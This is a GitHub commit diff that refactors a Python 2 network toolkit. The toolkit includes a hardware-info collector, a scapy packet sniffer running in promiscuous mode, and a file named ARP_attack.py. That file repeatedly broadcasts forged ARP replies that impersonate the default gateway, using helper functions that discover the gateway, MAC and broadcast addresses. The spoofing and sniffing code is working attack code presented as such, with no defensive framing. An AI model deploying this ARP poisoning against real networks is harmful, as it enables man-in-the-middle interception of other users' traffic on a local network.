Skip to content

Commit

Permalink
code refactor and bug fix
Browse files Browse the repository at this point in the history
  • Loading branch information
realJustinLee committed Mar 23, 2019
1 parent ac6a9e4 commit 307314b
Show file tree
Hide file tree
Showing 15 changed files with 54 additions and 157 deletions.
Binary file added HWID/.DS_Store
Binary file not shown.
42 changes: 25 additions & 17 deletions HWID/HWID.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ def sub_dict(form_dict, sub_keys, default=None):

# 读取cpuinfo信息
# dmidecode -t 4
def read_cpuinfo():
def read_cpu_info():
cpu_stat = []
with open('/proc/cpuinfo', 'r') as f:
data = f.read()
Expand All @@ -23,7 +23,7 @@ def read_cpuinfo():


# 读取fdisk信息
def read_fdisk():
def read_f_disk():
p = subprocess.Popen('fdisk -l', stdout=subprocess.PIPE, shell=True)
out = p.communicate()[0]
info = []
Expand All @@ -35,7 +35,7 @@ def read_fdisk():


# 读取dmidecode信息
def read_dmidecode():
def read_dmi_decode():
p = subprocess.Popen('dmidecode -t 1', stdout=subprocess.PIPE, shell=True)
return p.communicate()[0]

Expand All @@ -47,7 +47,7 @@ def read_ifconfig():


# 返回cpu信息:CPU型号、颗数、核数
def get_cpuinfo(data):
def get_cpu_info(data):
cpu_info = {}
for i in data.splitlines():
k, v = [x.strip() for x in i.split(':')]
Expand All @@ -58,7 +58,7 @@ def get_cpuinfo(data):


# 返回每块硬盘大小
def get_diskinfo(data):
def get_disk_info(data):
disk_info = {}
m_disk = re.compile(r'^Disk\s/dev')

Expand All @@ -71,7 +71,7 @@ def get_diskinfo(data):


# 返回硬件信息:品牌、型号
def get_dmiinfo(data):
def get_dmi_info(data):
dmi_info = {}
line_in = False
for line in data.splitlines():
Expand All @@ -87,7 +87,7 @@ def get_dmiinfo(data):


# 返回网卡及ip信息:网卡、IP址、MAC地址
def get_ipinfo(data):
def get_ip_info(data):
data = (i for i in data.split('\n\n') if i and not i.startswith('lo'))
ip_info = []
ifname = re.compile(r'(eth[\d:]*|wlan[\d:]*)')
Expand All @@ -112,7 +112,7 @@ def get_ipinfo(data):


# 返回内存及swap大小
def get_meminfo():
def get_mem_info():
mem_info = {}
with open('/proc/meminfo', 'r') as f:
data = f.readlines()
Expand All @@ -123,7 +123,7 @@ def get_meminfo():


# 返回操作信息
def get_osinfo():
def get_os_info():
os_info = {}
i = os.uname()
os_info['os_type'] = i[0]
Expand All @@ -133,7 +133,7 @@ def get_osinfo():


# 唯一标识符
def get_indentity(data):
def get_identity(data):
global serial, uuid
match_serial = re.compile(r"Serial Number: .*", re.DOTALL)
match_uuid = re.compile(r"UUID: .*", re.DOTALL)
Expand All @@ -150,10 +150,18 @@ def get_indentity(data):


if __name__ == "__main__":
ipinfo = get_ipinfo(read_ifconfig())
dmiinfo = get_dmiinfo(read_dmidecode())
cpuinfo = get_cpuinfo(read_cpuinfo())
diskinfo = get_diskinfo(read_fdisk())
meminfo = get_meminfo()
osinfo = get_osinfo()
identity = get_indentity(read_dmidecode())
ip_info = get_ip_info(read_ifconfig())
dmi_info = get_dmi_info(read_dmi_decode())
cpu_info = get_cpu_info(read_cpu_info())
disk_info = get_disk_info(read_f_disk())
mem_info = get_mem_info()
os_info = get_os_info()
identity = get_identity(read_dmi_decode())

print ip_info
print dmi_info
print cpu_info
print disk_info
print mem_info
print os_info
print identity
Binary file added macOS&&LinuxPlatform/.DS_Store
Binary file not shown.
22 changes: 9 additions & 13 deletions macOS&&LinuxPlatform/ARP_attack.py
100755 → 100644
Original file line number Diff line number Diff line change
@@ -1,29 +1,26 @@
# coding=utf-8

from scapy.all import ARP
from scapy.all import *
import socket
import struct
from scapy.all import ARP

from tools import *
import datetime


def arp_attack():
arpFake = ARP()
apr_spoof = ARP()

psrc = get_gate_way()
pdst = get_broadcast()
hwsrc = get_mac_address()

arpFake.psrc = psrc
arpFake.pdst = pdst
arpFake.hwsrc = hwsrc
arpFake.op = 2
apr_spoof.psrc = psrc
apr_spoof.pdst = pdst
apr_spoof.hwsrc = hwsrc
apr_spoof.op = 2

while 1:
send(arpFake)
print 'arp send'

send(apr_spoof)
print 'arp sent'


conf.sniff_promisc = True
Expand All @@ -41,4 +38,3 @@ def arp_attack():
'''
if __name__ == '__main__':
arp_attack()

94 changes: 0 additions & 94 deletions macOS&&LinuxPlatform/ARPspoof.py

This file was deleted.

Empty file modified macOS&&LinuxPlatform/README.md
100755 → 100644
Empty file.
Binary file not shown.
Empty file modified macOS&&LinuxPlatform/configure.py
100755 → 100644
Empty file.
6 changes: 3 additions & 3 deletions macOS&&LinuxPlatform/multi_process_test.py
100755 → 100644
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
from scapy.all import *
from scapy.all import send
import binascii
from packet import Packet_ez
from packet import PacketEz

'''
def sniff_en():
Expand Down Expand Up @@ -68,8 +68,8 @@ def child_process(name):


# 子进程要执行的代码
def run_proc():
while 1:
def run_proc(name):
while (1):
print 1
print 'Run child process %s (%s)...' % (name, os.getpid())

Expand Down
Binary file removed macOS&&LinuxPlatform/multi_process_test.pyc
Binary file not shown.
2 changes: 1 addition & 1 deletion macOS&&LinuxPlatform/packet.py
100755 → 100644
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@
from tools import *


class Packet_ez(object):
class PacketEz(object):
def __init__(self, destination_ip, source_ip, destination_mac, source_mac, packet_itself, protocol):
self.destination_ip = destination_ip
self.source_ip = source_ip
Expand Down
11 changes: 3 additions & 8 deletions macOS&&LinuxPlatform/packet_investigate.py
100755 → 100644
Original file line number Diff line number Diff line change
Expand Up @@ -3,14 +3,9 @@
# Packet sniffer in python for Linux
# Sniffs only incoming TCP packet

import socket
from struct import *
import datetime
import pcapy
import sys
from scapy.all import *
from scapy.all import send
from packet import Packet_ez

from packet import PacketEz

conf.promisc = 1
conf.sniff_promisc = 1
Expand All @@ -29,7 +24,7 @@ def prn(packets):
src_ip = packets[0][1].src
dst_ip = packets[0][1].dst

packets_ez = Packet_ez(
packets_ez = PacketEz(
destination_ip=dst_ip,
source_ip=src_ip,
destination_mac=dst_mac,
Expand Down
5 changes: 0 additions & 5 deletions macOS&&LinuxPlatform/start.py
100755 → 100644
Original file line number Diff line number Diff line change
Expand Up @@ -12,13 +12,8 @@
#############################################
'''

import socket
import multi_process_test
from ARP_attack import arp_attack
from packet_investigate import main_start
import argparse
import os
from multiprocessing import Process
from utils import start_threading

if __name__ == '__main__':
Expand Down
29 changes: 13 additions & 16 deletions macOS&&LinuxPlatform/tools.py
100755 → 100644
Original file line number Diff line number Diff line change
@@ -1,24 +1,22 @@
# coding = utf-8

import uuid
import os
import re
import socket
import sys
from platform import system
import struct
import uuid
import os
import re
from platform import system


def get_mac_address():
mac = uuid.UUID(int=uuid.getnode()).hex[-12:]
return ":".join([mac[e:e + 2] for e in range(0, 11, 2)])


def get_IPv4():
myname = socket.getfqdn(socket.gethostname())
myaddr = socket.gethostbyname(myname)
return myaddr
def get_ip_v4():
my_name = socket.getfqdn(socket.gethostname())
my_addr = socket.gethostbyname(my_name)
return my_addr


def get_gate_way():
Expand All @@ -30,7 +28,7 @@ def get_gate_way():
continue
return socket.inet_ntoa(struct.pack("<L", int(fields[2], 16)))
else:
inet = get_IPv4()
inet = get_ip_v4()
default_gateway = ''
for inet_element in inet.split('.')[0:3]:
default_gateway = default_gateway + inet_element + '.'
Expand All @@ -41,20 +39,19 @@ def get_gate_way():
def get_broadcast():
ifconfig_file_like = os.popen('ifconfig')
ifconfig = ifconfig_file_like.readlines()
net = []
boardcast = ''
broadcast = ''
for lines in ifconfig:
searchObj = re.search(r'inet (.*) broadcast (.*)\n', lines, re.M | re.I)
search_obj = re.search(r'inet (.*) broadcast (.*)\n', lines, re.M | re.I)
try:
boardcast = searchObj.group(2)
broadcast = search_obj.group(2)
except:
pass
return boardcast
return broadcast


print '============='

print get_IPv4()
print get_ip_v4()
print get_mac_address()
print get_gate_way()
print get_broadcast()
Empty file modified macOS&&LinuxPlatform/utils.py
100755 → 100644
Empty file.

0 comments on commit 307314b

Please sign in to comment.